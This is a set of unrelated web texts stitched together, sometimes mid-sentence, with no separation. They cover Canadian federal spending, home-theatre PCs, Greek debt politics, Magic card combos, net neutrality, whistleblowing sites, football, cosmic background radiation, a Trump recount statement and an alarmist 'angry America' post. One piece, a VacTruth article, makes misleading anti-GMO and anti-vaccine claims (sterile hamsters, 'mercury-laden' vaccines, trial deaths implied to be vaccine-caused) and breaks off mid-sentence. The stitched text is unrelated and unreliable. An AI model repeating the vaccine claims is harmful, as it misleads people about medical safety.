The Public Accounts cover the fiscal year that ended March 31, 2012. The reports contain a section that compares the year's final spending numbers to what was projected in the 2011 budget. It notes that "program expenses" were $8-billion lower than what the 2011 budget projected.
To put that figure in context, the 2012 budget – which was billed as the first post-stimulus cost-cutting budget – promises to find cuts that will ultimately ramp up to just over $5-billion a year by 2014-15.
Finance Minister Jim Flaherty said the numbers show the government is doing all it can to control spending.
"Yes we wound down stimulus spending," said Mr. Flaherty.
"There was some stimulus spending that extended into the last fiscal year. We're asked whether we need to continue this spending or not. We were very clear about infrastructure spending, that it was not going to continue indefinitely. It was there for a purpose during the time of the great recession."
Story continues below advertisement
Story continues below advertisement
The Federation of Canadian Municipalities isn't concerned by the unspent cash, which it views as an accounting issue. President Karen Leibovici said in a statement that "any discrepancy in the numbers reflects changes in the timing of federal payments, not a change in its promise to invest."
But the government's critics say the latest figures are another example of Parliament being kept in the dark when it comes to Conservative spending cuts.
"It speaks to the lack of transparency and really the fundamental lack of accountability with Canadians," said NDP finance critic Peggy Nash.
"People need to know what programs are being cut, what services are being undermined."
The 2011 budget forecasted a 2011-12 deficit of $32.3-billion. The lower program spending allowed the deficit to come in $6-billion below that forecast.
It is not entirely clear in the Public Accounts as to exactly why or how federal program spending came in so much lower, though there is some detail.
Story continues below advertisement
One chart breaks down the main parts of the $8-billion this way: $2.2-billion less on "major transfers to persons," which is largely due to Ottawa spending $1.9-billion less on Employment Insurance benefits than expected. Another part shows $1.4-billion less in "major transfers to other levels of government," which is explained as a change that reflects the move by the B.C. government to return $1.6-billion in "transitional assistance" after deciding not to join the Harmonized Sales Tax.
However, another $5-billion is simply explained as "lower-than-expected spending by departments."
The Parliamentary Budget Office is planning a closer analysis of this category, but says a big part of the change appears to have taken place at the Office of Infrastructure of Canada.
The Public Accounts show Infrastructure Canada had an approved budget of $6.3-billion, yet only used $4.5-billion. As part of that, the Building Canada Fund for Major Infrastructure was approved to spend $1.2-billion that year, yet only used $759.8-million. A Green Infrastructure Fund was approved to spend $390.7-million, yet only $30.3-million was spent. A Canada Strategic Infrastructure Fund was approved for $481-million, yet only $188-million went out the door.Media center PCs or HTPCs seem to have come into their own in the past couple years. Services such as Netflix, Amazon, and Hulu give the average person legal ways to stream content off of the internet at little or no charge. Additionally, backups can be made of the of DVDs in one’s collection and viewed off the PC itself.
Systems such as the PS3, Xbox360, and Wii are good media streaming solutions for some, but have drawbacks. These include the fact that there is a limited interface for Netflix (here’s how to use the old interface for a PC) and that you have to pay for Hulu Plus to use it on game systems. Google TV hasn’t taken off the way some would have liked, and Apple TV and the Roku player are limited to what the manufacturer gives you as well.
The Mac Mini (pictured above) is probably a decent solution as it’s small and well designed. However, Mac products are generally more expensive than PC products. I have not tested one, but here’s Engadget’s review if you’re curious.
To put things in a more positive light, PCs are more customizable than most other systems and you can use them for photos, movies, games, or general web browsing. One could even install a different operating system like Linux if Windows doesn’t suit you. The PS3 was originally capable of this, but this capability was unfortunately taken out later in an update.
Despite all these advantages, most people do not have a PC hooked up for TV use. If the performance reasons listed are not enough, consider that the average consumer pays around $75 per month for cable. Our bill for internet is currently only $15 per month with some haggling with AT&T for a “3 Mb/s” connection. This is more than adequate for streaming media from Netflix, Hulu, or Pandora (music). Add in what will soon be $8/month in streaming from Netflix with their new plan and our “cable” and internet comes to only $23 per month.
If one was to cancel cable, over 12 months that represents a savings of $624 per year; much more for some. Add in that you can get uncompressed HDTV signals broadcast over the air, and “cutting the cord” using a HTPC starts to make a lot of sense economically.
The two main barriers to HTPC entry, in my opinion, are the initial cost of buying a PC and the fear that the setup would be overly complicated. Additionally, the fact that you can no longer simply “turn on the tube” takes some getting used to. When we “cut the cord” we noticed watching a lot less TV which isn’t such a bad thing. Probably the reason I have time to write this site.
My original PC, a Compac Presario SR1834NX, was purchased to go along with my LCD TV around 5 years ago. I didn’t watch too many movies on it, but it was fun for playing computer games on it and watching Youtube videos. A video card upgrade allowed several good years of use, but after getting an HD camcorder, it could no longer handle what I needed it to do well. Additionally, I needed a PC with a 25 pin parallel port for my router project, so this seemed like a good use for my old PC.
It was time to upgrade.
This meant buying an Acer AX14200-U5832. I’ve been really happy with it so far (and Windows 7, as I’m a longtime XP user). Be sure to check out part 2, for some details about my setup and part 3 to see how the upgrade went.
[ad#Google Adsense-square 250×250]In this tortuous saga between the leaders of the Eurozone and the new Greek government over repaying its public sector debt and continuing with a Troika-imposed austerity programme, we must remember that the cause of all this mess is the failure of capitalism in Europe and Greece.
Yes, the Syriza government has retreated massively from its original position to cancel or renegotiate the ‘odious’ debt burden and it has given way on some (many?) of the immediate measures it wanted to take on reversing austerity and improving the hugely reduced living standards of Greek households. But that was inevitable if the government wants to sustain Greek capitalism inside or outside the Eurozone. Greek capital is the weakest in the spectrum of European capital, where Germany and France are strongest. They call the tune.
So the real villain of the piece is Capital in the persona of Franco-German capital and their supporters in the governments of the other ‘distressed’ EMU states of Spain, Portugal and Ireland, as well as ‘northern Europe’.
There are many commentators, including those on the Keynesian left, who complain that the Germans are being unreasonable and stupid. Giving the Greeks some leeway on public spending and reducing the burden of debt would help restore the Greek economy and keep the European project going in the face of increased scepticism from the electorate of Europe and a stagnating and deflating Euro economy. You see, austerity does not work, so goes the argument (http://mainlymacro.blogspot.co.uk/2015/02/greece-and-educating-economists.html).
But the Germans are not ‘irrational’ from the point of view of Capital. The Austerians reckon that European capitalism will not recover unless the capitalist sector is restored to high profitability and the burden of debt is reduced. That means neoliberal ‘structural’ reforms involving primarily decimating the power of labour through anti-trade union laws, increased sacking rights, reducing unemployment benefits and pensions and more privatisations. Alongside this, there must be cuts in public spending and debt to allow cuts in corporate taxation to raise profitability. Get labour costs down and boost profitability – that’s the way out of this depression (https://thenextrecession.wordpress.com/2012/04/14/the-austerity-debatehttps://thenextrecession.wordpress.com/2012/09/30/can-austerity-work/).
That is a rational strategy for Capital. The Keynesians, on the other hand, reckon that cutting wages and fiscal austerity just slashes ‘effective demand’, so that more austerity breeds even less growth. In the depth of depression, this argument has some validity, especially in Greece. But the essence of recovery on a capitalist basis must be a return to profitability and raising wages or spending more on welfare does the opposite (https://thenextrecession.wordpress.com/2015/02/08/the-causes-of-recovery-austerity-qe-and-the-spending-multiplier/).
So the German intransigence flows from an ideological belief that fiscal austerity and wage-cutting programmes are essential. As the Germans are not committed in any way to proper fiscal union in Europe (see my post, https://thenextrecession.wordpress.com/2015/02/12/red-lines-and-fiscal-union/), they do not want to make any (or the most minimal) concessions to Syriza. Moreover, they are backed in this by the venal, corrupt and harsh neoliberal governments still in office in Spain, Portugal and Ireland who have imposed Troika programmes on their people and who would be badly undermined if there are better terms for a leftist government in Greece. The feeble pro-capitalist social democratic governments of Italy and France, both trying to impose ‘structural reforms’ on labour, also go along with this.
Unfortunately, propaganda in Germany and the rise of Eurosceptic forces have led the German electorate to believe that the Greeks are lazy, are all on benefits, get huge pensions and are corrupt. Apparently, 66% of Germans asked do not want the Greeks to get any concessions. Of course, this characterisation of the Greek working class is nonsense.
Greeks work more hours in a year than any other country in Europe – and more than even the Americans or Brits! And surprisingly, it is the Germans who are the ‘laziest’, if measured by hours worked.
Although Greek economy-wide productivity started from a low base when the country joined the Eurozone in 1999, growth in labour productivity since then has been faster than in the strong capitalist economies of Germany or France, Greece up 25% compared to just 10% in Germany.
The reason Germany has been so competitive has not been because the growth in its productivity of labour was so good, but because wages have risen the least, just 22% since 1999 compared to nearly double in Ireland and up two-thirds in Greece (see my post, https://thenextrecession.wordpress.com/2013/09/22/german-capitalism-a-success-story/).
So while Greeks saw their living standards improve under the euro until the crisis came, they did this by working the longest hours and by being exploited more than any other workforce in Europe. The biggest gainers from joining the euro were the Greek capitalists. The fruits of increased economic growth and trade went to them disproportionately. The wage share in Greek national income fell nearly 4% pts, a fall only surpassed by Spain and more even than American workers suffered relatively.
In my view, Syriza was correct to say that it wanted to stay in the euro and campaign for removing the debt burden and reversing austerity. To start from the view that Greece must leave the euro and then look at ‘reversing austerity’ puts the cart before the horse and also runs in the face of the aspirations of Greeks to be ‘part of Europe’.
But what is wrong with Syriza’s position (in my view) is to see the issue of debt and ‘fiscal space’ as the main (sole?) issues and have the illusion that the Eurogroup leaders will see it is in their interest to save European capitalism from a serious blow if Greece is thrown out of the euro. As we now know, Greek finance minister, Yanis Varoufakis, says he aims to save capitalism from the stupid policies of neoliberalism, get some time to recover and then look at socialist measures some way down the road when capitalism is on a better footing (see my heavily criticised post,
https://thenextrecession.wordpress.com/2015/02/10/yanis-varoufakis-more-erratic-than-marxist/).
What’s wrong with both the Syriza leadership position and that of the left within Syriza is that they have put the debt burden and the euro on the front burner rather than replacing failed Greek capitalism at home as the top priority. Whether Greece is in or out the euro will not restore growth and living standards if the capitalist sector continues to dominate in Greece. Greece’ s public sector debt can never be repaid and should be written off as odious. But the cost of servicing it has fallen to low levels already, so writing it off will not alone kick-start the economy.
The Greek government and its people must seize control of the commanding heights of the economy. That means public ownership and democratic control of the banks and the major strategic companies; the launch of a public investment programme for jobs and growth and an appeal to solidarity within Europe for the Greek alternative against the neo-liberal governments in the Eurogroup. That would probably lead to Greece being ousted from the EU, given the current balance of political forces. But at least the Greek people and the rest of Europe would see why the Euro leaders are doing it and also have a clear alternative plan B to implement (https://thenextrecession.wordpress.com/2011/09/11/an-alternative-programme-for-europe/).
The danger now is that Syriza will agree to a compromise with the EU leaders that ‘saves’ Greek and Euro capitalism at the expense of little or no improvement in the conditions for the bulk of Greek people. All that does is postpone the crunch between reversing austerity and the interests of Capital, without a Plan B in the interests of Labour.
Advertisements
Share this: Share
Facebook
Twitter
Tumblr
Like this: Like Loading... RelatedWe’re going to try something a little different this week.
I’m excited about the advent of Modern. I’m looking forward to seeing what happens in Philadelphia, but I’m also just looking forward to having another intermediate non-rotating format to stand side-by-side with Legacy.
…and even though Modern’s card pool is not so deep as Legacy’s, it nonetheless has many options and interactions. With so little time before the Pro Tour, and just as an entrez to the format in general, I though it might be helpful for everyone to have a rundown of the known combos that they can expect to see in their first Modern tournament.
Bombastic title aside, I certainly hope that is not actually a list of every combo in Modern – we’re more imaginative than that.
This guide is meant to be a quick, easy-to-digest overview of all the combos, split up into reasonably logical groups. In addition, if you need a cheat sheet to carry along with you for testing or in the tournament, the PDF version is included at the end of today’s guide.
I hope you all enjoy the guide, and I look forward to hearing about the stellar combos that I missed.
***
magic (at) alexandershearer.com
parakkum on twitterA screenshot of a message posted on several sites supporting net neutrality. (Photo11: Battle For The Net)
Several tech companies including Netflix and Digg are participating in a digital protest supporting net neutrality.
The protest is part of Internet Slowdown Day, targeting cable companies that supporters of the movement say want to slow down the Web.
Now, this won't mean sites will intentionally slow their services to make this point. Instead, visitors to sites like Netflix, Digg, Reddit, Mozilla, Etsy and Foursquare will display messaging with the iconic, spinning "loading" symbol. They will also urge users to share their complaints with the Federal Communications Commission and Congress.
Several apps may also display prompts to stop cable companies' "slowlane."
"Cable companies want to slow down (and break!) your favorite sites, for profit," reads a description of Battle For The Net website. "To fight back, let's cover the web with symbolic "loading" icons, to remind everyone what an Internet without net neutrality would look like."
Tech companies are also using Twitter to spread the word.
Cable companies want to ruin the Internet. We have to stop them: https://t.co/AEhf2bKzdV#InternetSlowdown — Kickstarter (@kickstarter) September 10, 2014
BBC reports Twitter also plans to participate, although there are no banners or other signs on their website as of this morning.
Follow Brett Molina on Twitter: @brettmolina23.
Read or Share this story: http://usat.ly/1rWbVjeYour Children to be Used as Guinea Pigs for New GMO Vaccine
by Missy Fluegge
VacTruth.com
A US vaccine company has applied for permission to infect up to one thousand individuals, including children, with genetically modified live bacteria contained in an oral vaccine. PaxVax recently submitted their application (in Australia) for permission to begin the first of three international clinical trials for the new oral cholera vaccine “via oral ingestion of the GMOs”. [1]
PaxVax claims to have several safeguards in place to “restrict the spread and persistence of the GMOs and their introduced genetic material” during this clinical trial. That precaution itself should lead any parent to question the wisdom of administering genetically modified live bacteria to their child.
The Problems With GMOs
Genetically modified organisms (GMOs) have earned a great deal of media attention in recent years, and rightfully so.
In a two-year research study in 2010, hamsters were fed GM soy. Most of the third-generation hamsters had lost their ability to have babies. Other disturbing findings from the study included the discovery of hair inside the hamsters’ mouths, slower growth, and a higher mortality rate among offspring. [2]
Numerous other research studies have shown that GMOs pose serious health and environmental risks, including reproductive disorders, immune system disorders, accelerated aging, organ damage, gastrointestinal problems, and cholesterol and insulin problems. [3] The American Academy of Environmental Medicine (AAEM) recommends that “physicians advise all patients to avoid GM food.” [4]
Although the FDA claimed in 1992 that GMOs are safe, many of their own scientists disagreed with that decision. Dozens of classified government memorandums have since been made public as the result of a lawsuit, showing specific, key objections to the use of GMOs. Unfortunately, the scientists’ recommendations for long-term studies about the safety of GMOs in our food supply were ignored as appointees followed executive orders to claim GMOs were safe. [5]
In over sixty countries, including Japan, Australia, and the entire European Union, complete bans or severe restrictions have been placed on the sale and production of GMO-containing products. [6]
We simply don’t know the long-term effects of introducing genetically modified organisms into our food supply and our bodies. There have been no human clinical trials conducted to evaluate the safety or long-term effects of consuming genetically modified organisms in our food.
The closest thing we have to a clinical trial was dubbed a “human feeding experiment, ” in which published results indicated that “the genetic material inserted into GM soy transfers into bacteria living inside our intestines and continues to function.”
In simpler terms, genetically modified proteins may be produced in our bodies continuously after we have have eaten a food containing GMOs.
The Problems With GM Vaccines
The problems associated with using GM vaccines are similar to the problems associated with consuming GM foods. Dr. Joseph Mercola, a widely respected health expert, explained these very real concerns using technical language as well as laymen’s terms in a well-written article on his website in 2012. Here is the short answer — or lack thereof — to the questions many parents are facing about the use of GM vaccines:
“What happens when foreign DNA is inserted into the human body is a mystery. Will it trigger undesirable changes in human cells or tissues? Will it combine or exchange genetic material with human DNA? Will it transfer to future generations? No one knows.” [7]
Unfortunately, this is not the first time a genetically modified vaccine will be used. A previous version of this vaccine, known then as Orochol, was registered for use as a prescription drug in 2000, under the condition that adverse events would be monitored and reported.
Back in 1999, the Genetic Manipulation Advisory Committee conducted a risk assessment study of the use of Orochol. Although they claimed that “the vaccine poses no significant risk to the environment or the community,” in their risk assessment, they outlined the potential for multiple risks to health and human safety and the environment:
“Human health and safety
Potential hazards that may be posed to human health and safety are whether: Orochol® vaccine might be harmful to vaccine recipients; and
Orochol® vaccine might be harmful to people accidentally exposed to the vaccine. Environmental safety
Potential hazards that may be posed to the safety of the environment are whether:
GM bacteria might persist in the environment;
GM bacteria might cause disease in organisms other than humans; and
GM bacteria might be able to transfer the mercury resistance genes to other microorganisms and harm the environment.” [8]
Orochol is no longer produced. Effectiveness was estimated at sixty to ninety percent, and its protection lasted a mere three months before a booster vaccine was needed. In some US trials, protection for subjects only lasted a week. In a field trial of more than 67,000 subjects in Indonesia, Orochol did not offer “significant protective efficacy.” [9]
Are the short-lived perceived benefits of using GM vaccines really worth the long-term risks?
What the Government Isn’t Telling You About GM Vaccines
If you think that this new cholera vaccine is the only GM vaccine, you are wrong. There are other GM vaccines currently in use or proposed for use in the near future, including at least one flu shot, a vaccine which has come under heavy scrutiny recently for its ineffectiveness.
In January 2013, the US Food and Drug Administration (FDA) approved a GM vaccine for seasonal influenza outbreaks. This GM flu shot, known as Flublok, is recommended to healthy adults ages 18 – 49 by the Centers for Disease Control (CDC) on their website. [10]
However, there are several important facts to consider regarding the use of Flublok which are not mentioned on the page of the CDC’s website that talks about this GM vaccine. The CDC makes no mention of the fact that this flu shot is genetically modified or the fact that its effectiveness is a mere 44 percent, as stated on the Flublok package insert. [11]
Nor does the CDC share the fact that two people died during the clinical trial.
In the section titled “Is this vaccine safe?” the CDC only lists “pain at the injection site, headache, fatigue, and muscle aches” as possible side effects. However, a closer look at the vaccine’s own “Warnings and Precautions” section details the following side effects:
allergic reactions
respiratory infections
headaches
fatigue
altered immunocompetence
rhinorrhea
myalgia [12]
Other Problems With Genetically Modified Vaccines
According to PaxVax’s application for their proposed clinical trial, “There have been no credible reports of adverse effects on human health and safety or the environment resulting from any of these releases.” That is pharma-speak for “there have been no credible studies to assess the safety and efficacy of this vaccine.”
One facet of this genetically modified vaccine allows the bacteria to grow in the presence of mercury. If traditional bacteria can’t even grow well in mercury, do you think it is healthy for our children to have mercury in their bodies? Do our children need another mercury-laden vaccine?
The World Health Organization (WHO) estimates that there are 100,000 – 200,000 deaths worldwide each year from cholera. According to WHO, the “provision of |
Whistle Blowing for Censorship and Net Neutrality
Leak friendly websites
Websites which have a specific topic, audience and editorial position and as part of their reporting have frequently published high level unpublished documents
Public, USA FOIA and/or historical document release sites
Leak Site ideas
Add here links to the pages containing your ideas for a Leak site. You may be lucky enough that somebody will come along and do it :).
Misc
[1] Microsoft reporting of counterfeit software.
http://www.leakdirectory.org/index.php/CrimeLeak Crime reporting site
Sites about whistleblowing and leaking
Leak Support Sites
Sites that support leaking in the editing and publishing processes, providing news, commentary or other stuff
Sites Commenting Leaks
Whistle Blowing Organizations
Organizations around the world that support Whistleblowing by promoting it as a transparency practice is public and private sector.
Whistle Blowing Consulting Businesses
Organization that do business related to WhistleBlowing and leaking (Consulting, Services, Press Agency middle men etc).
Whistle Blowing Hot Line Services
Charity and Profit organization that provide to public agencies and private corporation hotline services for whistleblowing in order to outsource the internal reporting service.
Whistle Blowing Software as a Service
The commercial services are typically known as Whistleblowing reporting systems, or anonymous internet reporting systems.
Whistle Blowing Software
Software used by public and private organization to manage whistleblowing sites (We need more free software!)
Open Source Whistleblowing Software
GlobaLeaks - GlobaLeaks website - GlobaLeaks Implementations - Open Source Whistleblowing Framework software project, which spawned this LeakDirectory.org wiki
Briefkasten - BriefKasten - Simple opensource submission system
SecureDrop - SecureDrop website (formerly DeadDrop) - Secure submission system with hardened architecture, originally developed by AaronSw, used by Forbes and The New Yorker
and Honest Appalachia - Honest Appalachia website - uses Tor Hidden Service and PGP and publishes its own Open Source documents submission website software and configuration scripts to help other similar whistleblowing projects
Whistle Blowing in Corporations
A Directory of corporations that implemented corporate transparency by implementing whistleblowing through the organization:
Whistle Blowing Laws, Study and Regulations
A directory of laws, study, regulations and assessments on Whistle Blowing laws and practice in various countries.
Whistle Blowing Cases
Possibly Defunct/Dead websites
Encryption / Anonymity infrastructure services/ software used by some Whistleblower Sites
LeakDirectory related
Here misc stuff on Leak Directory initiative
Leak Directory backup wiki
A spam protected backup wiki mirror of this website is available at:
http://leakdirectory.wikispaces.com/
External opinions/reportage on LeakDirectory
http://britileaks.tumblr.com/post/15239051302/a-few-brief-notes-on-leakdirectory
https://p10.secure.hostingprod.com/@spyblog.org.uk/ssl/ht4w/leakdirectoryorg-wiki.html
LeakDirectory workshop at 28C3 Chaos Computer Congress
There will be a workshop about the LeakDirectory project at the
28C3: Behind Enemy Lines 28th Chaos Communication Congress December 27th to 30th, 2011 Berliner Congress Center, Berlin, Germany,
See http://events.ccc.de/congress/2011/wiki/SocialHacking_LeakDirectory:
The Workshop has been glued together with GlobaLeaks one, you can download slides here
SocialHacking LeakDirectory Social Hacking
We will give an overview of what whistle blowing is and how it can be applied a wide array of different situations. Hopefully by the end of the workshop you will understand that whistle blowing is a fundamental tool for a democratic and transparent society.
We will focus in particular on the Leakdirectory Project, a shared crowd based initiative to represent most of the world of whistleblowing with the goal to became a reference for all the whistleblowing initiatives.
[...]
The Leakdirectory Project
Overview of the Whistleblowing World
Results of research on whistleblowing world
Evaluating Whistleblowing Sites
The future scope of LeakDirectory
[...]
Room: A03
Date: Day 2 - 2011-12-28 Wed
Time: 12:30--13:30ALAMEDA — If Cory James indeed possesses the superhero skills suggested by Raiders coach Jack Del Rio, it is sorely needed by a defense that needs to find the ball.
That the Raiders would turn to safety Karl Joseph in Week 3 against the Tennessee Titans is hardly a surprise, given his status as a first-round draft pick.
James, however, was a sixth-round pick out of Colorado State, and at 6-foot-1, 229 pounds, doesn’t look the part of a middle linebacker.
With the Raiders struggling defensively in a 35-28 loss to Atlanta, James replaced Ben Heeney in the middle for the last five snaps. In part, it was because Heeney was struggling.
The other factor was James coming up with three takeaways during a practice session, according to Del Rio.
“He’s just a guy that is kind of a ball magnet,” Del Rio said. “He’s around the football, he’s physical, he’s fast.”
It’s probably too much to ask for James to simply stick out his hand and have the polarity to make the football come his way, but after giving up 1,035 yards in two weeks, the Raiders are open to new ideas as well as shoring up old ones.
And James confirms that indeed, he has a knack for being where the action is instead of trailing it.
“I feel like that’s an instinct thing,” James said Tuesday. “I’ve been doing that since they moved me to (middle linebacker) in college. Every since I’ve been trying to find the ball. It’s been working out for me so far.”
To be fair, many of the attributes credited to James were also applied to Heeney, who is far from a washout after two difficult games. Like Heeney, James is small for his position and attempts to compensate through quickness and skill.
“I feel like my speed and awareness to find the ball helps with that,” James said.
James is used to facing bigger players, albeit not at an NFL skill level. With Colorado State, James played as a defensive end and outside linebacker and occasionally worked against tackles before moving inside.
Now that he’s gotten used to his new surroundings, James likes the view.
“You can pretty much see the whole field,” James said. “When I was playing defensive end in college, you could see half the field. Now you can see everything. I like that.”
James concedes he’s far from a finished product.
“I’m still learning, still need to get a little bit comfortable with recognizing formations and stuff like that, but as far as playing and knowing the plays, I’m getting comfortable with that,” James said.
As for how much he’ll play against Tennessee, James simply smiled and shrugged his shoulders.
“Man, I’m just going with the flow,” James said.
— James was one of six Raiders players who joined approximately 200 students for recess Monday at International Community School in Oakland as part of a program to decrease bullying, improve the school climate, reduce disciplinary incidents and advocate for increased participation in academics and in school activities.
Other players included safety Keith McGill, special teams player Taiwan Jones, wide receiver Johnny Holton, running back Jalen Richard and practice squad lineman Oni Omoile.Temperature of the cosmic background radiation spectrum as determined with the COBE satellite: uncorrected (top), corrected for the dipole term due to our peculiar velocity (middle), and corrected for contributions from the dipole term and from our galaxy (bottom).
Cosmic background radiation is electromagnetic radiation from the Big Bang. The origin of this radiation depends on the region of the spectrum that is observed. One component is the cosmic microwave background. This component is redshifted photons that have freely streamed from an epoch when the Universe became transparent for the first time to radiation. Its discovery and detailed observations of its properties are considered one of the major confirmations of the Big Bang. The discovery (by chance in 1965) of the cosmic background radiation suggests that the early universe was dominated by a radiation field, a field of extremely high temperature and pressure.[1]
The Sunyaev–Zel'dovich effect shows the phenomena of radiant cosmic background radiation interacting with "electron" clouds distorting the spectrum of the radiation.
There is also background radiation in the infrared, x-rays, etc., with different causes, and they can sometimes be resolved into an individual source. See cosmic infrared background and X-ray background. See also cosmic neutrino background and extragalactic background light.
Timeline of significant events [ edit ]
1896: Charles Édouard Guillaume estimates the "radiation of the stars" to be 5.6 K.[2]
1926: Sir Arthur Eddington estimates the non-thermal radiation of starlight in the galaxy has an effective temperature of 3.2 K. [1]
1930s: Erich Regener calculates that the non-thermal spectrum of cosmic rays in the galaxy has an effective temperature of 2.8 K.[2]
1931: The term microwave first appears in print: "When trials with wavelengths as low as 18 cm were made known, there was undisguised surprise that the problem of the micro-wave had been solved so soon." Telegraph & Telephone Journal XVII. 179/1"
1938: Nobel Prize winner (1920) Walther Nernst re-estimates the cosmic ray temperature as 0.75 K.[2]
1946: The term "microwave" is first used in print in an astronomical context in an article "Microwave Radiation from the Sun and Moon" by Robert Dicke and Robert Beringer.
1946: Robert Dicke predicts a microwave background radiation temperature of 20 K (ref: Helge Kragh)
1946: Robert Dicke predicts a microwave background radiation temperature of "less that 20 K"[clarification needed] but later revised to 45 K (ref: Stephen G. Brush).
1946: George Gamow estimates a temperature of 50 K.[2]
1948: Ralph Alpher and Robert Herman re-estimate Gamow's estimate at 5 K.[2]
1949: Ralph Alpher and Robert Herman re-re-estimate Gamow's estimate at 28 K.
1960s: Robert Dicke re-estimates a MBR (microwave background radiation) temperature of 40 K (ref: Helge Kragh).
1965: Arno Penzias and Robert Woodrow Wilson measure the temperature to be approximately 3 K. Robert Dicke, P. J. E. Peebles, P. G. Roll and D. T. Wilkinson interpret this radiation as a signature of the Big Bang.[2]
See also [ edit ]Trump Bump? Market Continues to Rally, Set Record Highs After Election
Jill Stein Raising Funds for Recount in States Hillary Was Urged to Challenge
Experts, Supporters Urge Hillary to Challenge Results in WI, PA and MI
President-elect Donald Trump reacted to 2016 Green Party presidential nominee Dr. Jill Stein's crowd-funded vote recount effort that she commenced this week.
Stein has raised about $5 million in hopes of securing a recount in three key states won by Trump: Wisconsin, Michigan and Pennsylvania.
By Friday evening, she had submitted an application and related fees to the state of Wisconsin for an official recount of the election results.
In a statement Saturday afternoon, Trump said Stein was conducting a "scam" and is "trying to fill her coffers with money" after winning "less than one percent of the vote overall."
Trump pointed to Democratic presidential nominee Hillary Clinton's concession, as well as the "30 of 50 states and more than 2,600 counties" that voted for him.
The three states in question have not awarded their electors to a Republican presidential candidate in several recent contests, and were mentioned by some experts as places where "irregularities" might surface.
Read Trump's full statement below and let us know what you think in the comments.
Tommy Hilfiger: Fashion Designers 'Should Be Proud' to Dress Melania Trump
Trump in Thanksgiving Address: My Prayer Is That We Begin to Heal Our Divisions
Trump Campaign Selling 24-Karat Gold 'MAGA' Christmas Ornament
Statement From President-Elect Donald J. Trump on the Ridiculous Green Party Recount Request:
"The people have spoken and the election is over, and as Hillary Clinton herself said on election night, in addition to her conceding by congratulating me, 'We must accept this result and then look to the future.'
"It is important to point out that with the help of millions of voters across the country, we won 306 electoral votes on Election Day - the most of any Republican since 1988 – and we carried nine of 13 battleground states, 30 of 50 states, and more than 2,600 counties nationwide - the most since President Ronald Reagan in 1984.
"This recount is just a way for Jill Stein, who received less than one percent of the vote overall and wasn’t even on the ballot in many states, to fill her coffers with money, most of which she will never even spend on this ridiculous recount. All three states were won by large numbers of voters, especially Pennsylvania, which was won by more than 70,000 votes.
"This is a scam by the Green Party for an election that has already been conceded, and the results of this election should be respected instead of being challenged and abused, which is exactly what Jill Stein is doing."Right now, about the only things that the American people can agree on is that they are angry and that they do not like the direction that this country is headed. Of course a lot of this is being caused by the economy. Unemployment is rampant, millions of families have been kicked out of their homes and our country is drowning in debt. But the economy is not the only cause of what is happening. There is a growing restlessness in America today. An increasing number of people feel very empty and very frustrated. We still have a very high standard of living compared to the rest of the world, and yet there is this growing sense that our country is right on the verge of something really bad. The very fabric of our society is coming apart at the seams and the thin veneer of civilization that we all take for granted is beginning to disappear. You can almost feel the fear in the air.
One thing that the federal government has tried to do to keep everything under control is to shovel giant piles of money into the pockets of the American people. Today, government transfer payments as a percentage of GDP are far higher than they have ever been before in all of U.S. history. If you doubt this, just check out this chart. But even with the federal government showering crazy amounts of money on people, anger and frustration in this country continue to grow to unprecedented levels.
This year the American people will be getting back more money from the government than they are paying to the government in taxes. That is not anywhere close to sustainable, but what would this country look like if welfare payments and government benefits were cut back substantially?
That is a scary thing to think about.
This country is rapidly changing, and not for the better.
The following are 10 signs that the American people are angrier than ever….
#1 According to a brand new Fox News poll, 76 percent of all Americans are “dissatisfied with how things are going in the country”. At the beginning of this year, that number was only at 61 percent.
#2 Violence in our streets continues to rise and sadly police officers are increasingly becoming targets. The number of law enforcement officials that have been killed in the United States has increased by 17 percent this year so far.
#3 Some of the crimes that we have seen recently have been absolutely shocking. Not even elementary schools are safe anymore. In the New York City area recently, one mother was killed when she tried to shield children from gunfire that erupted just outside of an elementary school. The following is an excerpt from a Washington Post article about this incident….
Someone with a gun opened fire on a street as students were let out of school Friday afternoon, killing one parent who had tried to shield children from harm and injuring an 11-year-old girl and another parent, police and school officials said.
#4 As the economy crumbles, thieves are becoming bolder and more desperate. In Indiana, one desperate thief recently ripped off a car dealership by using a crane to lift up a 2008 Jeep Wrangler and load it on to a trailer.
#5 Nothing is too big for thieves to steal these days. In the San Francisco area, thieves recently took off with a copper bell that weighs 2.7 tons.
#6 Some thieves have become so bold that they will literally steal thousands of animals at a time from ranchers. All over the United States, livestock is being stolen from ranchers in unprecedented numbers. The following is from a recent Associated Press article….
While the brazenness may be unusual, the theft isn’t. High beef prices have made cattle attractive as a quick score for people struggling in the sluggish economy, and other livestock are being taken too. Six thousand lambs were stolen from a feedlot in Texas, and nearly 1,000 hogs have been stolen in recent weeks from farms in Iowa and Minnesota. The thefts add up to millions of dollars in losses for U.S. ranches. Authorities say today’s thieves are sophisticated compared to the horseback bandits of the rugged Old West. They pull up livestock trailers in the middle of the night and know how to coax the animals inside. Investigators suspect it’s then a quick trip across state lines to sell the animals at auction barns.
#7 Another form of crime that is absolutely skyrocketing is identity theft. Do you know if your identity is safe? The following comes from a recent article in The Palm Beach Post….
In the first half of this year, the Federal Trade Commission received more than 20,000 complaints from Floridians whose identities had been stolen — nearly as many as in all of 2010. More than half of those reporting their Social Security numbers or other personal information had been ripped off and used to commit fraud or theft were in South Florida, with heavy concentrations in parts of Fort Lauderdale, Hollywood and Hallandale Beach. “That kind of increase is really shocking,” said Vance Luce, deputy special agent in charge of the U.S. Secret Service in South Florida, which investigates identity theft and financial crimes. “The fact that it’s on the upturn doesn’t surprise me at all, but that’s pretty alarming.”
#8 Instead of becoming incredibly angry and frustrated, some Americans are simply giving in to depression. We still have one of the highest standards of living in the entire world, and yet a staggering number of Americans are incredibly depressed. According to a recent article by Anthony Gucciardi, more than one out of every ten Americans is currently on antidepressants.
#9 Other Americans are freely giving in to all of the anger that is building up inside of them. The reality is that a lot of Americans are so frustrated right now that even the silliest things will set them off. For example, one man down in Georgia recently firebombed a Taco Bell because they did not put enough meat in his Chalupa.
#10 But of course one of the clearest signs of rising anger and frustration in America is the Occupy Wall Street movement. These protests are a precursor to the mass economic riots that are coming to this nation.
Unfortunately, the authorities are not just going to sit by and watch these protests happen. In fact, they are already clamping down hard in many areas of the nation. For example, police in Oakland recently used tear gas and rubber bullets to break up the Occupy protest in that city. When police opened fire, the streets of Oakland literally became a war zone for a few minutes. You can see shocking videos of the violence here, here and here.
In case you were wondering, rubber bullets are serious business. You can see pictures of what it looks like after you get hit with a rubber bullet right here.
Sadly, all of this is just a preview of coming attractions. The economy is going to get a lot worse in the years ahead and all of the craziness and all of the violence is just going to intensify.
